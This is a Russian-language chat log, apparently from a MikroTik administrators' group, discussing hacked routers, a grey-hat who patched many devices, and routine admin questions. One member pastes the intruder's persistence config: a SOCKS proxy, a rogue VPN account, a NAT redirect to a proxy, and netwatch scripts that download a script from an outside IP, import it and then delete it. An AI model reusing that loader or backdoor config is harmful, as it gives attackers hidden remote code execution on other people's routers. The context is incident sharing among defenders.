новео но может старое микрос с старой прошивкой ломанули открыли прокси 8080 ip servise оставили только API

Вот такой добавлен нат X ;;; sysadminpxy chain=dstnat action=redirect to-ports=8080 protocol=tcp src-address-list=!Ok dst-port=80 3 X chain=srcnat action=masquerade src-address=100.64.0.0/16

фаайлы 6 server/ca.crt .crt file 1578 jan/16/2017 09:31:33 7 server/server.crt .crt file 5.2KiB jan/16/2017 09:31:33 8 server/server.key Если кому интересно могу выложить пок ане грохнул

Там скрипт еще

Дайте почитать

# NAME START-DATE START-TIME INTERVAL ON- 0 X DDNS Serv startup 25m /sy

/system script run iDDNS щас

Дайте почитать

Смого скрипат нет ...(((

Эх, жаль

Ато я грохнул второпях, изучить не успел

таже беда ?

Ато я грохнул второпях, изучить не успел

От сисадминпху у меня есть, зашлю.

Была 1, а теперь 2.7, только когда будете оплачивать они ещё vat добавят, чтобы его не было, нужно им написать в поддержку, тогда они снимут его.

В Чехии 25 крон сервак, это 75рублей

таже беда ?

был у меня околотестовый микрот настроенный в пандастиле

не войти не выйти, нафаерволено было по самое не балуйся

на прошивке 6.35

Да тут повезло это был виртуальный микрот с консоли все вернул

Специально не обновлял все ждал когда ломанут. С момента обнаружения дыры он стоял с полгода наверное

хотя могу и путать, тут смотря когда дыру нашли, я точно не помню месяц. Всего микрот не обновлялся/не ребутился 460 с хвостиком дней

есть впр юзверь 0 dodo any dodo dodo 1 srcvpn any 52:54:00:C4:2D:F5 default-encryption 172.10.10.10 Login: dodo PASS :dodo

и вот такой ppp secret add local-address=172.10.10.1 name=srcvpn password=52:54:00:C4:2D:F5 profile=default-encryption remote-address=172.10.10.10

и вот /ip socks set enabled=yes max-connections=500 port=3629 /ip socks access add action=deny src-address=!5.96.0.0/12 /tool netwatch add comment=1 host=127.0.0.1 interval=30s up-script="\r\ \n/tool fetch url=\"http://47.96.89.95:8000/autosupout.rif\" dst-path=autosupout.rif\r\ \n:delay 5\r\ \n/im autosupout.rif\r\ \n/file remove [find name=autosupout.rif]\r\ \n \r\ \n:delay 3\r\ \n/tool netw en [find comment=2]\r\ \n" add comment=2 disabled=yes down-script="/tool net dis [find comment=1]\r\ \n:delay 30\r\ \n/tool net en [find comment=1]" host=192.168.254.123 interval=3m30s timeout=1ms Собственно все ...)))

и вот такой ppp secret add local-address=172.10.10.1 name=srcvpn password=52:54:00:C4:2D:F5 profile=default-encryption remote-address=172.10.10.10

Пароль соответствует мак-адресу на каком-то интерфейсе?

Пароль соответствует мак-адресу на каком-то интерфейсе?

ether2 52:54:00:C4:2D:F5

Коллеги прошу обратить внимание 1н из пунктов не всегда роутер ломаю но я обращаю внимание на /system logging action set 0 memory-lines=1

а что, кто-то не собирает централизованно логи на сислог-сервер?

а что, кто-то не собирает централизованно логи на сислог-сервер?

Есть отдельные маленькие структуры которые смотрят за этим самостоятельно , а смотрят или нет это дело каждого...)))

Да и большие тоже не смотрят, например у меня пограничный роутер, который только агрегирует BGP и базовая маршрутизация на нем. Доступ по SSH только из локалки. Изменения не провожу, только обновляю. Мне с него логи на syslog сервере вообще не к чему.

логи лучше собирать везде, а потом просто фильтровать вывод нужного

Российский сисадмин взломал 100 000 роутеров MikroTik и пропатчил их Российский «хакер» взламывал уязвимые пользовательские маршрутизаторы MikroTik. Однако цель у молодого человека была вполне благая — он устранял известную уязвимость в устройствах, чтобы злоумышленники не могли проникнуть в роутеры и навредить пользователям. Source: https://www.anti-malware.ru/news/2018-10-16-1447/27755

чья работа, коллеги?

Он тут есть :)

Российский сисадмин взломал 100 000 роутеров MikroTik и пропатчил их Российский «хакер» взламывал уязвимые пользовательские маршрутизаторы MikroTik. Однако цель у молодого человека была вполне благая — он устранял известную уязвимость в устройствах, чтобы злоумышленники не могли проникнуть в роутеры и навредить пользователям. Source: https://www.anti-malware.ru/news/2018-10-16-1447/27755

с анабиозом!

@moneron ?

[|||||||||||||||||||||]

с анабиозом!

Щас вторая волна хайпа в непрофильных СМИ

@moneron ?

Не, эт не я.

Он тут есть :)

Герой, покажись )

Ник не правильно пишите. Что я пропустил?

чья работа, коллеги?

Моя, но с красками журналистов

Была 1, а теперь 2.7, только когда будете оплачивать они ещё vat добавят, чтобы его не было, нужно им написать в поддержку, тогда они снимут его.

Неужто уже и итальянские сервера порезали?

Неужто уже и итальянские сервера порезали?

Если у вас уже был - можно продолжать. Новые не дают

Если у вас уже был - можно продолжать. Новые не дают

Ну хоть что-то оставили. Спасибо за информацию.

есть кто нибудь с SIP-телефонией (asterisk) и 2 WAN? как переключаетесь при падении канала?

есть кто нибудь с SIP-телефонией (asterisk) и 2 WAN? как переключаетесь при падении канала?

Сбрасывать коннекшены, по-другому никак

И сказать чтобы сип оператор включил второй адрес в свой фаервол

Привет всем ! Коллеги, скажите, а реально ли скриптом на МТ удалить коннекты из IP-Firewall-connections по фильтру src.addr и dst.addr?

А почему нет?

Скрипты могут делать что угодно ИМХО. Главное вывод в переменную получить

Или в файл

господа, доброго вечера, если я обновлю прошивку - packages отдельно нужно обновить?

дополнительные, типа NTP сервера

господа, доброго вечера, если я обновлю прошивку - packages отдельно нужно обновить?

Нет. Не нужно

спасибо

скачал пакет ntp после обновления прошивки в корень files

ребутнул

а в packages его нет

и ntp сервера в систем тоже, соответственно

не подскажете, как же так?

А в логах что?

всё, понял, простите

всё, понял, простите

Прощаю. Но всё же, что в логах? ))

not for tile, only mipsbe :D

@lexx_mt все больше и больше пишут, вот с опозданием но и профильный сайт написал 😁 https://threatpost.ru/russian-gray-hat-hacks-into-mikrotik-routers-to-keep-them-safe/28737/

@lexx_mt все больше и больше пишут, вот с опозданием но и профильный сайт написал 😁 https://threatpost.ru/russian-gray-hat-hacks-into-mikrotik-routers-to-keep-them-safe/28737/

Имхо найдецо тот, кто пострадал от его действий и подаст в суд.... Даже среди соклубников есть пострадавшие от него

Особенно это его сообщение с требованием бабосов на BTC кошелек до добра его точно не доведут

Идёшь по подъезду... В кармане саааамая простая отмычка... И открываешь двери квартир с дешёвыми замками... Оставляешь записки.... Хорошо? Нет? Смотря какая будет реакция у хозяйки в бигудях, которая тебя встретит на пороге

Имхо найдецо тот, кто пострадал от его действий и подаст в суд.... Даже среди соклубников есть пострадавшие от него

как они могли пострадать почему они не пострадали бы если бы он не исправил можно имена героев в студию, клуб должен знать

Я занимался подобным. Встречались очень адекватные люди, даже вознаграждали за труды ☺️ но были и оооочень бурные реакции. Так что я завязал с этой деятельностью

как они могли пострадать почему они не пострадали бы если бы он не исправил можно имена героев в студию, клуб должен знать

Роутер тупо перестал выполнять свою прямую задачу - давать инет на компы. Плюс чуть ли не на каждом интерфейсе блаьблаьбла... Вас сломали.. киньте мне BTC на этот кошелек. И был сброшен пароль админа. Имена пострадавших останутся в тайне :-Р

у товарища роутер взломали, он не обновлял его, включили проксю, включили впн, перенаправили трафик хз куда, лучше бы его тот алексей первым нашел...

не обновлял, и почему то правило фаервола на дроп пакетов с вана было отключено

Когда я страдал такой фигнёй, я выключал нат и оставлял свой контакт телеги. Потом понял, что могу принести вред и писал хозяевам роутеров на почту или как-то находил другие пути связи. Но итог - зародилось четкое осознание "не лезть туда, куда не просят"

у товарища роутер взломали, он не обновлял его, включили проксю, включили впн, перенаправили трафик хз куда, лучше бы его тот алексей первым нашел...

Самое зло это админу резать права и создавать второго юзера с фулл правами))))) или ещё чего хуже сделать

Кстати, если у кого-то микротик заиграл имперский марш. Сорян)))) это я

А был случай, когда админу пришлось ехать на другой конец города, чтобы "мою помощь" увидеть... Я загладил свою вину консультацией как сделать так, чтобы такого больше не происходило

В общем мораль- не надо никому помогать. Кому нужна помощь - найдут ее сами.

бр